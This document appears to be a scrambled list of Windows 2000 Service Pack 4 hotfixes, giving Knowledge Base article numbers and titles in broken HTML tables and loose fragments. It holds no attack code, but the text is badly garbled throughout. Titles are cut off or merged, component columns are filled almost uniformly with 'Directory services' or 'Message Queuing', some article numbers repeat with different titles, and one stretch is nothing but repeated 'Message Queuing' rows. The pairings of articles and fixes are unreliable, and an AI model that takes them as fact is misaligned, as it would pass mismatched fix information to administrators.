Windows 2000-based server that is using Microsoft Distributed File System (DFS),

Opportunistic Locking May Not Be Granted If Windows Is Installed by Using Sysprep

Windows Is Installed by Using Sysprep Windows 2000-based server that is using Microsoft Distributed File System (DFS),

DFS Manager Does Not Show DFS Roots

Base operating system

Insert a Multifunction PC Card into a PCMCIA Slot

PCMCIA Slot

Insert a Multifunction PC Card into a PCMCIA

SCSI Pass-Through Mode

Base operating system

SCSI Pass-Through

Windows Does Not Detect a SCSI Device After a Surprise Removal

Base operating system

SCSI Device

Cannot Install Driver Updates from the Windows Update Web Site

Base operating system

Driver updates
Windows Terminal Server Client Cannot Connect to the Terminal Server

**FIX:** Cannot Resume from Hibernation When Devices That Are Behind a USB 2.0 Hub Are Removed

List of Base Operating System Fixes in Windows 2000 Service Pack 4

Unknown Error Error Message When You Create a Backup Over Your Network

Group Policies Are Not Applied to Objects in an Organizational Unit Whose Name Contains an Asterisk

Your Windows 2000-Based Computers Stops Responding While You Work with Multiple Programs

Windows 2000 Stops Responding When You Press a Key to Bring Your Computer out of the Hibernate State

Clustered Disk Drive Letter Unexpectedly Changes

Code 28 Error Message and a Yellow Exclamation Mark Next to a USB Device in Device Manager After Your Computer Resumes from Hibernation

Windows 2000 Crashes with a "Stop 0x000000d1" Error Message When You Shut Down Your Computer

FTDisk May Cause a "STOP Error 0x000000d1" Error Message When You Shut Down Your Computer

You Receive a "KMODE_EXCEPTION_NOT_HANDLED" Error Message

Rate of Page-Zeroing Process Is Unexpectedly Slow

The Scsiport Driver May Not Read Registry Parameters That Are Specified for Miniport Drivers

FTDisk May Cause a "STOP Error 0x000000d1" Error Message When You Shut Down Your Computer

Windows 2000-Based Computer with NTFS Boot Disk Does Not Start and Appears Stuck in Loop When Starting with Both the /PAE and /3GB Switches, the System May Not Start

You Receive a "KMODE_EXCEPTION_NOT_HANDLED" Error Message

USB Device fix applied

If groups end with *

computer is in a high-stress state

Intel Pentium 4 processors and large amounts of RAM installed

/a32 and /3GB switches in the Boot.ini file

/a32 and /3GB switches in the Boot.ini file

Bluescreen
<table>
<thead>
<tr>
<th>ID</th>
<th>Description</th>
<th>Source</th>
<th>Impact</th>
</tr>
</thead>
<tbody>
<tr>
<td>300930</td>
<td>License Logging Service Decrements Licenses for Machine Accounts</td>
<td>Directory services</td>
<td>N</td>
</tr>
<tr>
<td>304653</td>
<td>The Serial Number Is Decremented in DNS When You Reboot the Computer</td>
<td>Directory services</td>
<td>N</td>
</tr>
<tr>
<td>312571</td>
<td>The Event Log Stops Logging Events Before Reaching the Maximum Log Size</td>
<td>Directory services</td>
<td>N</td>
</tr>
<tr>
<td>314446</td>
<td>HasMasterNCs Attributes for Server Objects in the Configuration Container May Become Damaged</td>
<td>Directory services</td>
<td>N</td>
</tr>
<tr>
<td>316042</td>
<td>Slow Connectivity to NetWare Resources</td>
<td>Directory services</td>
<td>N</td>
</tr>
<tr>
<td>316430</td>
<td>Over Time</td>
<td>Directory services</td>
<td>N</td>
</tr>
<tr>
<td>318443</td>
<td>Transfers in Windows 2000</td>
<td>Directory services</td>
<td>N</td>
</tr>
<tr>
<td>319325</td>
<td>The &quot;IPCONFIG /SETCLASSID&quot; Command Does Not Send the Class ID in the Options Field of the DHCP Information Packet</td>
<td>Directory services</td>
<td>N</td>
</tr>
<tr>
<td>319460</td>
<td>A Netsh DHCP Import Does Not Import Configuration Information</td>
<td>Directory services</td>
<td>N</td>
</tr>
<tr>
<td>319672</td>
<td>Object Names</td>
<td>Directory services</td>
<td>N</td>
</tr>
<tr>
<td>319709</td>
<td>The Back Button Is Available in the Domain Screen During Automated Setup</td>
<td>Directory services</td>
<td>N</td>
</tr>
<tr>
<td>320015</td>
<td>An Error Occurs in the ADSI Windows NT Provider When You Enumerate the Members of a Group by Using a Binding</td>
<td>Directory services</td>
<td>N</td>
</tr>
<tr>
<td>320063</td>
<td>Error Messages</td>
<td>Directory services</td>
<td>N</td>
</tr>
<tr>
<td>320387</td>
<td>AT Command Stops Responding When You Try to List Scheduled Jobs</td>
<td>Directory services</td>
<td>N</td>
</tr>
<tr>
<td>320677</td>
<td>You Cannot Collect DHCP Data by Using SNMP Accessing Active Directory with LDAP by Using JNDI Calls May Not Work</td>
<td>Directory services</td>
<td>N</td>
</tr>
<tr>
<td>320711</td>
<td>DNS Caching Behavior When You Use the &quot;All&quot; Query Type in Windows 2000</td>
<td>Directory services</td>
<td>N</td>
</tr>
<tr>
<td>320769</td>
<td>Performance of Microsoft Commerce Server-based Programs May Degrade</td>
<td>Directory services</td>
<td>N</td>
</tr>
</tbody>
</table>
Computer Hangs for 15 Seconds When You Use Your Zip Drive

**321064**
Your Zip Drive FTP Logging: Transferred Bytes Not Accurate When Transaction Aborted
The Computer Hangs If You Call LockWorkstation() While a Screen Saver Is Running

Only Members of the Administrators Group Can Retrieve the ntSecurityDescriptor Attribute from an IDirectorySearch Result Set Services

Windows NT 4.0 Usrmgr.exe Does Not Display an Error Message When You Change a Password to a Weak Password

Distributed File System (DFS) shares across the network create and then rename a large number of files,

Repadmin tool with the **showconn** switch

Distributed Component Object Model (DCOM) client and server application scenarios

print job that contains an older version 3 DEVMODE

Digital Audio Interface

The TCP Connections Established Performance Counter Reports Incorrect Values on Multiprocessor Computers

A Domain Administrator Receives an "Unable to Display Security Information" Error Message When Calling IDirectorySearch::GetNextRow

INFO: Truncated Results When Calling IDirectorySearch::GetNextRow

Multihomed DHCP Clients May Cause "Bad_Address" Entry on a DHCP Server in Windows 2000

Dump File Not Created Correctly with More Than Four GB of Memory and PAE Turned On

More Than Four GB of Memory

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<table>
<thead>
<tr>
<th>Event ID</th>
<th>Event Description</th>
<th>Event Message</th>
<th>N</th>
</tr>
</thead>
<tbody>
<tr>
<td>326566</td>
<td>Event ID 6008 Is Unexpectedly Logged to the System Event Log After You Shut Down and Restart Your Computer</td>
<td>Directory services</td>
<td>N</td>
</tr>
<tr>
<td>326770</td>
<td>Password Change Does Not Work Over Remote Authentication</td>
<td>Directory services</td>
<td>N</td>
</tr>
<tr>
<td>327542</td>
<td>WMI Event Registration Leak</td>
<td>Directory services</td>
<td>N</td>
</tr>
<tr>
<td>328195</td>
<td>AutoShareServer Setting Cannot Prevent Administrative Shares on Cluster Nodes</td>
<td>Directory services</td>
<td>N</td>
</tr>
<tr>
<td>328417</td>
<td>Macintosh Client After You Change Your Password</td>
<td>Directory services</td>
<td>N</td>
</tr>
<tr>
<td>328567</td>
<td>An Access Violation Occurs When a Program Tries to Update Active Directory</td>
<td>Directory services</td>
<td>N</td>
</tr>
<tr>
<td>328570</td>
<td>Windows 2000-Based Servers May Not Set the DNS Domain Name After You Upgrade a Domain</td>
<td>Directory services</td>
<td>N</td>
</tr>
<tr>
<td>328981</td>
<td>A Deadlock Occurs in the Distributed Device</td>
<td>Directory services</td>
<td>N</td>
</tr>
<tr>
<td>329394</td>
<td>FIX: Isoch Callback Not Called or Error on Blue Screen Occurs When Starting Isoch Stream</td>
<td>Directory services</td>
<td>N</td>
</tr>
<tr>
<td>330306</td>
<td>Removable Storage May Not Refresh the Tape</td>
<td>Directory services</td>
<td>N</td>
</tr>
<tr>
<td>330421</td>
<td>Blue Screen 0x0000001E* error message on a blue screen</td>
<td>Directory services</td>
<td>N</td>
</tr>
<tr>
<td>331102</td>
<td>An OpenGL Screen Saver May Cause an Access Violation</td>
<td>Directory services</td>
<td>N</td>
</tr>
<tr>
<td>331190</td>
<td>Terminal Services Client Cannot Obtain Terminal Services User Configuration</td>
<td>Directory services</td>
<td>N</td>
</tr>
<tr>
<td>331627</td>
<td>From Domain Controller</td>
<td>Directory services</td>
<td>N</td>
</tr>
</tbody>
</table>

Note: The last event ID is missing from the list.
During Logon

**331651** Contains Corrupted Data in Active Directory Users and Computers

- **Directory services**: Active Directory Users
  - **N**

**331907** DNS Serial Number Is Incremented During Zone Transfer

- **Directory services**: DNS Serial Number
  - **N**

**332199** Using the DCPROMO /FORCEREMOVAL Command to Force the Demotion of Active Directory Domain Controllers

- **Directory services**: Demotion of Active Directory Domain
  - **N**

**810089** Cannot Promote New Global Catalog When Conflict Naming Contexts Exist

- **Directory services**: Promote New Global Catalog
  - **N**

**810262** Access Denied for Non-Administrative User with the Client Services for NetWare or Gateway Services for NetWare Tool in Control Panel

- **Directory services**: NetWare
  - **N**

**810714** DNS Server Settings Are Lost When You Rapidly Delete and Re-Create a Directory Service Zone from a File

- **Directory services**: Rapidly Delete and Re-Create a Directory Service Zone
  - **N**

**811143** Error Message: The Event Log File Is Corrupt (QUERYCLIENTCERT() Does Not Make a Callback on)

- **Directory services**: Symbols for Dr. Watson Error Debugging installed
  - **N**

**811288** Windows 2000 WIdap32.dll Host Name Resolution Does Not Work After One Year

  - **N**

**812175** Slow Response Times Occur If a Delegated Name Server Is Down

- **Directory services**: If you do not restart computer within 1 year time period
  - **N**

**812785** DNS Service Ends Unexpectedly and Event 7031 Error Message Appears

- **Directory services**: delegated DNS environment with more than one name server per delegation
  - **N**

**813425** The Ntdsutil.exe Semantic Checker Cannot Rename Conflict-Mangled Phantom Names

- **Directory services**: Ntdsutil.exe Semantic Checker Windows Management Instrumentation (WMI) Event Log Provider
  - **N**

**814202** Visual Basic Procedure to Count the Members of a Group Returns a Value of 1,000 for All Groups with Over 1,000 Members

- **Directory services**: Visual Basic Procedure Clustering
  - **N**

**814925** Paged Pool Memory Leak with Increase in Handle

- **Directory services**: Ldp.exe tool from Support Tools
  - **N**

**815493** Count for Services.exe Lingerig Objects May Remain After Using the Ldp.exe Tool

- **Directory services**: Ldp.exe tool from Support Tools
  - **N**
<table>
<thead>
<tr>
<th>Key Approval numbers</th>
<th>Problem Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>305557</td>
<td>COM+ Loosely Coupled Events May Lose Events for Queued Subscribers</td>
</tr>
<tr>
<td>320530</td>
<td>Cannot Enumerate Shared Property Groups</td>
</tr>
<tr>
<td>321557</td>
<td>Improvements in the Post-SP2 Release of Ntfrs.exe That Is Packaged with an</td>
</tr>
<tr>
<td>321592</td>
<td>An Increase in the Maximum DHCP Message Size Is Available</td>
</tr>
<tr>
<td>322930</td>
<td>Your Computer Stops Responding During Shutdown if the CD-ROM Tray Is Open in Windows 2000</td>
</tr>
<tr>
<td>323293</td>
<td>Performance Alerts Do Not Start After a Remote Alert</td>
</tr>
<tr>
<td>323735</td>
<td>Client Disconnects from Server If NetBT Headers Are Split Across Frames</td>
</tr>
<tr>
<td>324034</td>
<td>Rpcss May Generate an Access Violation Under Stress When Processing a DCOM Request</td>
</tr>
<tr>
<td>324038</td>
<td>INFO: Availability of Windows 2000 Post-Service Pack 2 COM+ Hotfix Rollup</td>
</tr>
<tr>
<td>324039</td>
<td>MS02-053: Request to SmartHTML Interpreter May Monopolize Web Server CPU Resources</td>
</tr>
<tr>
<td>324443</td>
<td>A Deadlock Condition May Occur in the Network Redirector</td>
</tr>
<tr>
<td>325208</td>
<td>GUID Records Are Not Registered If MX Record with Wildcard Character Is Present</td>
</tr>
</tbody>
</table>

Under stress, the COM+ Loosely Coupled Event (LCE) system

enumeration of shared property groups

File Replication service (FRS)

configure many large DHCP options

your CD-ROM tray is in the open position

Index Server through an ASP.NET page

using Performance Logs and Alerts in Computer Management to monitor alerts

a client and a non-Microsoft server message block-based (SMB-based)
<table>
<thead>
<tr>
<th>Issue ID</th>
<th>Description</th>
<th>OS/Metadata</th>
</tr>
</thead>
<tbody>
<tr>
<td>325409</td>
<td><strong>RPCSS OXIDResolver Pings Must Fall Back to Endpoint Mapper</strong></td>
<td><strong>Internet Information Services/COM</strong></td>
</tr>
<tr>
<td>325455</td>
<td><strong>Ftp.exe Does Not Handle Japanese Path Names Correctly</strong></td>
<td><strong>Internet Information Services/COM</strong></td>
</tr>
<tr>
<td>325641</td>
<td><strong>Cannot Connect in the Active Directory Users and Computers Tool</strong></td>
<td><strong>Internet Information Services/COM</strong></td>
</tr>
<tr>
<td>325785</td>
<td><strong>FIX: &quot;Access Denied&quot; Firing Event When You Are Not Logged On as Administrator</strong></td>
<td><strong>Internet Information Services/COM</strong></td>
</tr>
<tr>
<td>325797</td>
<td><strong>The SMTP Service May Leak Domain List Memory When You Use the Pickup Folder</strong></td>
<td><strong>Internet Information Services/COM</strong></td>
</tr>
<tr>
<td>326433</td>
<td><strong>You Receive an Access Violation in the Dllhost.exe Process When the Network Cable Is Unplugged</strong></td>
<td><strong>Internet Information Services/COM</strong></td>
</tr>
<tr>
<td>326639</td>
<td><strong>FIX: Asynchronous Notification Goes to Wrong 1394 Node</strong></td>
<td><strong>Internet Information Services/COM</strong></td>
</tr>
<tr>
<td>326852</td>
<td><strong>ISAPI DLL Is Loaded In-Process When WebDAV Publishing Is Enabled</strong></td>
<td><strong>Internet Information Services/COM</strong></td>
</tr>
<tr>
<td>327009</td>
<td><strong>Chkdsk Finds Incorrect Security IDs After You Restore or Copy a Lot of Data</strong></td>
<td><strong>Internet Information Services/COM</strong></td>
</tr>
<tr>
<td>327643</td>
<td><strong>You Receive a &quot;Stop 0x000000CE&quot; Error Message During Shutdown</strong></td>
<td><strong>Internet Information Services/COM</strong></td>
</tr>
<tr>
<td>328506</td>
<td><strong>A &quot;Stop 0x0000001E&quot; Error Message Is Caused by Sfmsrv.sys</strong></td>
<td><strong>Internet Information Services/COM</strong></td>
</tr>
<tr>
<td>328636</td>
<td><strong>The Windows 2000 SP3 DHCP Tool May Show an Empty Reservations List</strong></td>
<td><strong>Internet Information Services/COM</strong></td>
</tr>
<tr>
<td>328800</td>
<td><strong>File Replication Service Causes a &quot;QKey != QUADZERO&quot; Error Message</strong></td>
<td><strong>Internet Information Services/COM</strong></td>
</tr>
<tr>
<td>328897</td>
<td><strong>SNMP Extension Agent Events 2019 and 2020 Appear in the Application Event Log</strong></td>
<td><strong>Internet Information Services/COM</strong></td>
</tr>
<tr>
<td>Issue Number</td>
<td>Description</td>
<td></td>
</tr>
<tr>
<td>--------------</td>
<td>-------------</td>
<td></td>
</tr>
<tr>
<td>328925</td>
<td>The COM+ (Dllhost.exe) Process Loads the Latest Version of .NET Runtime During Remote Client Activations</td>
<td>Internet Information Services/COM + N</td>
</tr>
<tr>
<td>329420</td>
<td>The LookupAccountSid Function Returns the Wrong Name After You Rename Accounts</td>
<td>Internet Information Services/COM + N</td>
</tr>
<tr>
<td>329449</td>
<td>One or More Users Are Not Valid Error Message When You Add the Everyone Group to a COM+ Application Role</td>
<td>Internet Information Services/COM + Add the Everyone Group to a COM+ Application Role N</td>
</tr>
<tr>
<td>329938</td>
<td>MSMQ: A Cluster Node with Two Network Cards Does Not Receive Messages</td>
<td>Internet Information Services/COM + Clustering N</td>
</tr>
<tr>
<td>329945</td>
<td>Cannot Use Outlook Web Access to Access an Exchange Server Installed on a Windows 2000 Cluster Node</td>
<td>Internet Information Services/COM + Clustering N</td>
</tr>
<tr>
<td>330081</td>
<td>FIX: SCSI Miniport Driver Does Not Reload if the PNPInterface Key is Read Incorrectly</td>
<td>Internet Information Services/COM + SCSI Miniport Drive N</td>
</tr>
<tr>
<td>810578</td>
<td>INFO: Availability of Windows 2000 Post-Service Pack 3 COM+ Hotfix Rollup Package 23</td>
<td>Internet Information Services/COM + Information N</td>
</tr>
<tr>
<td>811694</td>
<td>INFO: Availability of Windows 2000 Post-Service Pack 3 COM+ Hotfix Rollup Package 24</td>
<td>Internet Information Services/COM + Information N</td>
</tr>
<tr>
<td>814886</td>
<td>Custom Errors for Server-Side Includes Do Not Work After You Apply Windows 2000 Service Pack 3</td>
<td>Internet Information Services/COM + Custom Errors for Server-Side Includes N</td>
</tr>
<tr>
<td>810989</td>
<td>When You Try to Upgrade from Windows NT 4.0 to Windows 2000 with Slipstreamed SP1, SP2, or SP3, Cmdlines.txt Does Not Run During the Upgrade</td>
<td>Setup Upgrade from Windows NT 4.0 to Windows 2000 N</td>
</tr>
<tr>
<td>284246</td>
<td>FIX: Message Queuing Remote Read May Not Always Recover</td>
<td>Setup Blue Screen N</td>
</tr>
<tr>
<td>323372</td>
<td>Multiple Separator Pages Printed from Windows 2000 Terminal Services</td>
<td>Setup Multiple Separator Pages N</td>
</tr>
<tr>
<td>328716</td>
<td>Redirected Printer Duplicate Computer Names May Be Created When You Set Up Multiple Clients with RIS</td>
<td>Setup N</td>
</tr>
<tr>
<td>810989</td>
<td>RIS</td>
<td>Setup N</td>
</tr>
</tbody>
</table>
Not Prompted to Obtain a Digital Rights Management License for Installations

812812 Created by Using Sysprep
RIS Installation Stops if the Network Cable Uses Port B of a Dual-Port Network

814788 Adapter
Successive Attempts to Complete a Group Policy Installation of a Service Pack May Log an Event ID 102 Error

815438 Removing IIS Resets DCOM to the Default Permissions
Win32_BIOS WMI Class
Returns Incorrect ReleaseDate Value
Local Users and Groups Is Empty or Does Not Display
All Member User Accounts
Folder Redirection Does Not Work After You Delete a Profile
Icon for a New Taskpad View in the MMC Does Not Appear

319953 The SMTP Service May Stop If You Use the TURN or ATRN Command in a Telnet Session

320199 Windows 2000 WMI Query Only Returns 32 Disk Drives

816085 The Win32_NetworkAdapterConfiguration Class Does Not Return the WINSPrimaryServer Property for Users
Windows Management Instrumentation Cannot Rebuild a Damaged Repository
The Computer Management Tool Tries to Use Only the DNS Host Name to Connect to a Remote Computer

Security Configuration and Analysis Snap-in
Management/a dministration

320373 Windows 2000 Hyperterm.exe Has a Slow Transfer Rate If Local Echo Is On
Services Are Not Listed in the Security Configuration and Analysis Snap-in

320437 The Win32_Group Does Not Include the "Domain Local" Groups

320489 Groups

321800 Security Configuration and Analysis snap-in

321933
<table>
<thead>
<tr>
<th>Key</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>322804</td>
<td>Cannot Use Windows Media Player to Read XA Data on 1394 CD-ROM Devices</td>
</tr>
<tr>
<td>323743</td>
<td>The Requested Media Is Not Blank Error Message When You Use Ntbackup.exe</td>
</tr>
<tr>
<td>323704</td>
<td>SLIP Client in Windows 2000 Cannot Connect to CSLIP Server</td>
</tr>
<tr>
<td>324041</td>
<td>FIX: COM+ 18.1 Rollup May Cause Problems When You Export COM+ Applications</td>
</tr>
<tr>
<td>324712</td>
<td>Performance-Monitoring Counters Show That the Data Buffer for the AppleTalk Service Is Not Aligned</td>
</tr>
<tr>
<td>325792</td>
<td>Authentication FIX: Certificate Renewal Wizard Concatenates Certificate Organizational Units</td>
</tr>
<tr>
<td>325827</td>
<td>Stop 0x0000006b or Setup Stops Responding at &quot;Setup Is Starting Windows&quot; When You Install a Windows XP SP1 Client Image from a RIS Server</td>
</tr>
<tr>
<td>327743</td>
<td>The ISA Server Web Proxy Service Causes an Access Violation During DNS Lookups</td>
</tr>
<tr>
<td>327550</td>
<td>BUG: Notes in PowerPoint Files May Not Be Full-Text Indexed</td>
</tr>
<tr>
<td>328510</td>
<td>Cannot Connect to Cisco Dial-up Server with Some Client IP Address Ranges in Windows 2000</td>
</tr>
<tr>
<td>328764</td>
<td>A &quot;Stop 0x000000C2&quot; Error Occurs When You Try to Close a File on a Network Share</td>
</tr>
<tr>
<td>328776</td>
<td>Script Policy Is Not Run When a Slow Link Is Detected</td>
</tr>
<tr>
<td>328991</td>
<td>Rdbss.sys May Cause STOP 0xA Error</td>
</tr>
<tr>
<td>329175</td>
<td>This Device Cannot Start (Code 10) Error Message When You Remove Your USB Hub</td>
</tr>
<tr>
<td>329184</td>
<td>Support for Some Seagate Tape and Changer Drives Is Missing in Windows 2000</td>
</tr>
<tr>
<td>329328</td>
<td>Unnecessary Kerberos Packages Sent from the Client</td>
</tr>
<tr>
<td>330194</td>
<td>Microsoft Windows Media Player on Windows 2000 to play VCD (.dat)</td>
</tr>
<tr>
<td>Issue Number</td>
<td>Description</td>
</tr>
<tr>
<td>--------------</td>
<td>-------------</td>
</tr>
<tr>
<td>332002</td>
<td>Use the /INSITE Switch</td>
</tr>
<tr>
<td>810211</td>
<td>Outgoing Messages From Your SMTP Server Are Not Delivered</td>
</tr>
<tr>
<td>810823</td>
<td>EventLogLevel Registry Setting Does Not Suppress All Event Messages for Extensible Counters as Expected</td>
</tr>
<tr>
<td>811066</td>
<td>Active Directory Users And Computers Stops Working If a User Belongs to Groups Whose Name Contains a Leading Slash Mark</td>
</tr>
<tr>
<td>811160</td>
<td>Failure Audit Event 577 Is Logged When You Save the Winmsd Report</td>
</tr>
<tr>
<td>811222</td>
<td>FIX: Error 1308 When You Install a Program from an Internet Source Location</td>
</tr>
<tr>
<td>811364</td>
<td>Domain Local Groups of a Domain Do Not Appear in the &quot;Select Users, Computers, or Groups&quot; Dialog Box When You Edit a Group Policy Object</td>
</tr>
<tr>
<td>811965</td>
<td>The Performance Provider Unexpectedly Stops Collecting Data in Windows</td>
</tr>
<tr>
<td>812203</td>
<td>Instrumentation NNTP Timestamp Reflects Client Computer Time and Date Settings</td>
</tr>
<tr>
<td>812652</td>
<td>Users Cannot Remotely Monitor Disk Counters If They Are Not Logged On As Administrators Problems When the Data Frame Ends with CRLF.CRLF QUIT CRLF</td>
</tr>
<tr>
<td>813050</td>
<td>Users Without Administrative Credentials Cannot Access SMBIOS Data in Windows Management</td>
</tr>
<tr>
<td>813197</td>
<td>Instrumentation Non-Administrator Users Cannot Retrieve Win32_WMISetting Data in Windows Management</td>
</tr>
</tbody>
</table>
| 813824       | Instrumentation Users Cannot Remotely Monitor Disk Counters problem when Exchange 2000
<table>
<thead>
<tr>
<th>Problem Description</th>
<th>Component</th>
<th>Resolution</th>
<th>Status</th>
</tr>
</thead>
<tbody>
<tr>
<td>Performance Monitor Displays Only the First of Multiple Instances from a Binary Log XADM: Problems When You Try to Add Many Global Address Lists to an Offline Address List Provider Failure Error on Computers with a Large Number of SCSI Controllers Information for Multipath Drivers Is Not Displayed in WBEMTest Some User's Programs Do Not Work Correctly After You Delete That User's Profile Access Violation When Inetinfo Receives Mail That Contains a Header of More Than 64 KB A Fast Link May Be Detected as a Slow Link Because of Network ICMP Policies Server Stops Responding When Win32_NetworkLoginProfile Performs Enumeration User Profile Folder Name Appears with Squares or Other Unusual Characters When You Manage Remote Computers &quot;Your Server Has Unexpectedly Terminated the Connection&quot; Error Message When You Send an SMTP-Based E-mail Multiple Memory Leaks in Remote Registry Service Force Local Profile Option in Windows 2000 Security Descriptor Has an Empty Owner Value CPU Utilization in Services.exe Increases to 100 Percent Ntfrs.exe Does Not Clean Up the Staging Folders on Members with No Outbound Partners in Windows 2000 You May Receive a &quot;Stop 0xBE&quot; Error Message on Fault-Tolerant Computers You Cannot Delete Individual Lines in Services for NetWare 5.0 Logon Scripts Windows XP Does Not Always Call DrvAssertMode(FALSE)</td>
<td>Management/administration</td>
<td>Only the First of Multiple Instances Many Global Address Lists SCSI Controllers WMI Classes Only for me per-user installation mode option was selected When Inetinfo Receives Mail Network ICMP Policies in32_NetworkLoginProfile Performs Enumeration Manage Remote Computers MDAC NFRS-replicated tree, fault-tolerant computers. Message Queuing message Queuing message Queuing message Queuing message Queuing message Queuing message Queuing message Queuing message Queuing message Queuing message Queuing message Queuing message Queuing message Queuing message</td>
<td>N</td>
</tr>
</tbody>
</table>
Before it Enters a Power-Down State

An Access Violation Occurs in Lsass.exe while the Network Connections Are Being Prepared

Message Queuing

Repetitive restart

N

Cannot View Windows 2000 Services for Macintosh in Chooser of Macintosh Client

Message Queuing

Macintosh client

N

Windows 2000 Server May Hang after a Local Backup Completes

Message Queuing

Local Backup

N

IEEE 1394 Device May Disappear When You Add New Daisy-Chain Devices

Message Queuing

DaisyChain

N

Close Open Files Message Appears During Initial Folder Synchronization When You Do Not Have Files Open

Message Queuing

Error message

N

Files Open FIX: IIS Does Not Refresh the File Cache for Non-Virtual Root Directories

Message Queuing

Internet Information Services (IIS)

N

Virtual Root Directories FIX: Page Allocator Returns a Block of Memory That Is Not Writable

Message Queuing

DLLHost.exe quits unexpectedly (crashes),

N

File Open FIX: Performance Issues on Multi-processor Computers

Message Queuing

Multi-processor Computers

N

Message Queuing

Message Queuing

N

Object May Be Ignored in ChangeTimerQueueTimer API

Message Queuing

ChangeTimerQueueTimer API

N

Message Queuing

Message Queuing

N

Message Queuing

Message Queuing

N

Message Queuing

Message Queuing

N

Message Queuing

Message Queuing

N

Message Queuing

Message Queuing

N

Message Queuing

Message Queuing

N
<table>
<thead>
<tr>
<th>Number</th>
<th>Description</th>
<th>Category</th>
<th>Details</th>
</tr>
</thead>
<tbody>
<tr>
<td>256507</td>
<td>a Message</td>
<td>Networking</td>
<td>RAS Client May Not Be Authenticated When You Reconnect</td>
</tr>
<tr>
<td>278522</td>
<td>Deadlock Condition Causes Socket Programs to Become Unresponsive</td>
<td>Networking</td>
<td>Windows 2000 Service Pack 1 (SP1),</td>
</tr>
<tr>
<td>287032</td>
<td>TCP/IP Routes May Be Incorrect If AddIPAddress() Is Used on Multihomed Computers</td>
<td>Networking</td>
<td></td>
</tr>
<tr>
<td>294961</td>
<td>Computers Cannot Compile the Authserv.mib and Accserv.mib Files</td>
<td>Networking</td>
<td></td>
</tr>
<tr>
<td>300561</td>
<td>Incorrect Routing Table When You Connect to Some VPN Servers</td>
<td>Networking</td>
<td></td>
</tr>
<tr>
<td>309696</td>
<td>Clients That Are Using an ATM Adapter Do Not Receive Group Policies</td>
<td>Networking</td>
<td></td>
</tr>
<tr>
<td>313664</td>
<td>Using 802.1x Authentication on Computers Running</td>
<td>Networking</td>
<td>Windows 2000</td>
</tr>
<tr>
<td>316803</td>
<td>Earlier Clients May Fail to Change Passwords or Join in a Windows 2000 Domain</td>
<td>Networking</td>
<td>Windows NT 4.0 may not successfully join the domain</td>
</tr>
<tr>
<td>318419</td>
<td>A &quot;STOP 0xA&quot; Error Message Occurs When You Use Routing and Remote Connection to ISA Server</td>
<td>Networking</td>
<td>VPN Servers</td>
</tr>
<tr>
<td>318437</td>
<td>Access with NAT and VPN A Laptop Computer Has No IP Address After Hibernating</td>
<td>Networking</td>
<td>Laptop</td>
</tr>
<tr>
<td>319270</td>
<td>Fragmentation Occurs When You Send Multicast Data Over Ethernet</td>
<td>Networking</td>
<td>Multicast</td>
</tr>
<tr>
<td>319627</td>
<td>The SMTP Service Does Not Deliver a Message to Multiple Recipients If Error Code 552 IsReceived</td>
<td>Networking</td>
<td>SMTP</td>
</tr>
<tr>
<td>321150</td>
<td>The Number in the &quot;Reset Fail Count After&quot; Box</td>
<td>Networking</td>
<td>IE Update</td>
</tr>
<tr>
<td>321232</td>
<td>Internet Explorer The Number in the &quot;Reset Fail Count After&quot; Box</td>
<td>Networking</td>
<td>Services snap-in,</td>
</tr>
<tr>
<td>321983</td>
<td>Intelide.sys Is Not Used on Computers with ICH4 or ICH5</td>
<td>Networking</td>
<td>Intel ICH4 or ICH5 southbridge</td>
</tr>
<tr>
<td>322359</td>
<td>Windows Explorer Does Not Detect That the CD-ROM That Was Previously in the CD Drive Has Been</td>
<td>Networking</td>
<td></td>
</tr>
<tr>
<td>322823</td>
<td>Replaced with a Blank CD-R Networking The StgCreateDocFile() Function Causes an &quot;STG_E_FILEALREADYEXISTS&quot; Error in Windows 2000</td>
<td>Networking</td>
<td>CD Drive Has Been Replaced with a Blank CD-R Not Enough Info</td>
</tr>
</tbody>
</table>
Cannot Browse Printers When You Are Trying to Print or Browse Printer Queues Networking N
IAS Authentication Is Unsuccessful After You Install the 292053 Hotfix Networking N
Windows Critical Update Notification 3.0 May Cause a "Dirty" Shutdown Networking Not Enough Info N
An SNMP Query Returns Zero When You Query for Virtual Memory Usage Networking N
Redirection Response Contains Garbage Networking N
Characters with Long URL MS02-047: August 22, 2002, Cumulative Patch for Internet Explorer Networking cumulative patch for Internet Explorer N
The LoadLibrary() Function Cannot Find the DLL Name Networking call the LoadLibrary function N
You Cannot Add an .msi Package to a Group Policy Object Networking Group Policy Object N
Installing an AGP Video Adapter Driver May Hang the Computer When You Restart It Networking AGP Video Adapter Driver N
VPN Connections with Names Longer Than 64 Characters May Stop Working After You Install the Q318138 (MS02-029) Patch Networking VPN Connections Compensating Resource Manager (CRM) N
ICrmLogControl::WriteLogRecordVariants Method Causes a Memory Leak in COM+ Applications Networking N
Dynamic Host Routes Are Not Removed if EnablePMTUDiscovery Is Set to Zero Networking host routes pointer is freed two times. N
Random Access Violations Occur in Rpcss Networking use the Netsh utility to manually create a Workgroup N
The Netsh Utility Cannot Create a Workgroup <00> Networking Removable Media N
Group Record Data Added to Removable Media During Hibernation May Be Lost When You Resume Windows 2000 Networking Not Enough Info N
The RPC Service Stops with Event ID 7031 Networking Hust BUS Controller removed N
Computer May Hang After a Surprise Removal of a Host Controller Networking N
Windows 2000 Account Operators Can Manage Their Own Accounts Networking account operators can manage their own accounts or the accounts of other account operators. N
Dial-up Connection Uses Multiple Modems to Dial a Connection After You Select the "Dial Only First" Available Device" Option Networking Dial-up N
<table>
<thead>
<tr>
<th>Issue ID</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>328399</td>
<td>OLEXP: Outlook Express 5.5 Rollup Networking Outlook Express rollup N</td>
</tr>
<tr>
<td>328410</td>
<td>Services Are Stopped Networking Services.exe May Hang N</td>
</tr>
<tr>
<td>328477</td>
<td>When You Restart a Service Networking Event ID 3006 in Application Log After You Upgrade Your Domain N</td>
</tr>
<tr>
<td>328556</td>
<td>Controller to Service Pack 3 Networking Task Scheduler Stops N</td>
</tr>
<tr>
<td>329227</td>
<td>Scheduling Repeating Jobs Networking DNS Query of Type ALL Does Not Query an Authoritative Server for the Domain N</td>
</tr>
<tr>
<td>329258</td>
<td>Your Custom Authorization Extension for IAS Stops Working After You Install Windows 2000 Service Pack N</td>
</tr>
<tr>
<td>329494</td>
<td>Dial-Up Connections Do Not Appear with Cluster N</td>
</tr>
<tr>
<td>329634</td>
